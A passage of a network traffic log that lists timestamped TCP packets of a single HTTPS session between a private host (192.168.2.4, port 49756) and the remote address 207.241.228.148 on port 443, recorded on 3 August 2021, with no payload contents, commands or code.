Aug 3, 2021 20:39:42.472708941 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472738028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472775936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472806931 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472814083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472851038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472868919 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472888947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472925901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472973108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473010063 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473014116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473023891 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473052025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473089933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473105907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473129988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473169088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473206043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473206997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473244905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473261118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473290920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473334074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473342896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473371029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473401070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473436117 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473438025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473485947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473506927 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473529100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473567009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473582983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473606110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473644018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473660946 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473680019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473718882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473727942 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473757029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473803043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473805904 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473849058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473886967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473926067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473931074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473963976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.473979950 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.473999977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474037886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474047899 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474076986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474124908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474159002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474199057 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474200010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474240065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474246025 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474278927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474294901 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474324942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474368095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474374056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474405050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474442959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474457979 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474481106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474517107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474531889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474555016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474591970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474611998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474638939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474682093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474700928 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474719048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474757910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474772930 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474796057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474832058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474849939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474869967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474906921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474920988 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.474952936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.474996090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475011110 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.475033998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475071907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475086927 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.475110054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475183964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475205898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.475233078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475275993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475303888 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.475313902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475353956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475373030 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.475392103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475428104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475435019 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.475467920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475506067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475545883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.475553036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475594997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475596905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.475632906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475672007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.475677013 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.526820898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.655642033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.655697107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.655739069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.655780077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.655808926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.655831099 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.655833006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.655890942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.655945063 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.655949116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656012058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656059027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656063080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656119108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656164885 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656174898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656230927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656274080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656286001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656342030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656388044 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656394005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656457901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656505108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656516075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656572104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656627893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656662941 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656680107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656724930 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656734943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656793118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656847954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656877995 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656907082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656958103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.656960011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.656997919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657036066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657046080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657073021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657109976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657124043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657147884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657185078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657191038 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657233000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657274008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657275915 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657310963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657347918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657360077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657387018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657422066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657455921 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657463074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657500029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657516003 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657552004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657598019 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657599926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657636881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657674074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657686949 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657711983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657752037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657763004 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657789946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657826900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657836914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657872915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657916069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657919884 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.657952070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.657989025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658013105 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658026934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658062935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658066988 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658102989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658142090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658158064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658200026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658245087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658286095 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658288956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658332109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658340931 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658375025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658411026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658427954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658463001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658513069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658564091 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658585072 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658607960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658644915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658647060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658683062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658699989 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658731937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658773899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658792019 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658816099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658854008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658868074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658902884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658945084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.658948898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.658981085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659018993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659045935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659055948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659090996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659163952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659168959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659213066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659225941 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659249067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659296036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659300089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659337997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659375906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659390926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659416914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659454107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659493923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659504890 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659532070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659547091 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659571886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659619093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659631014 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659662962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659699917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659718990 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659740925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659779072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659789085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659815073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659852982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659863949 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659889936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659936905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.659940004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.659981966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.660018921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.660029888 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.706638098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.706815004 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.839853048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.839906931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.839931965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.839953899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.839975119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840014935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840029955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840070963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840070963 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840111971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840147972 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840169907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840204000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840209007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840249062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840286016 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840342999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840384960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840418100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840437889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840451002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840471029 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840485096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840513945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840536118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840544939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840574026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840605974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840632915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840634108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840663910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840694904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840719938 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840729952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840759039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840789080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840791941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840821981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840842962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840853930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840883970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840884924 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840919018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840950966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.840982914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.840985060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841003895 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841015100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841046095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841064930 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841077089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841108084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841134071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841154099 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841167927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841202021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841228008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841233015 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841267109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841286898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841311932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841339111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841361046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841382027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841384888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841408014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841428995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841430902 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841449976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841470957 CEST	443	49756	207.241.228.148	192.168.2.4
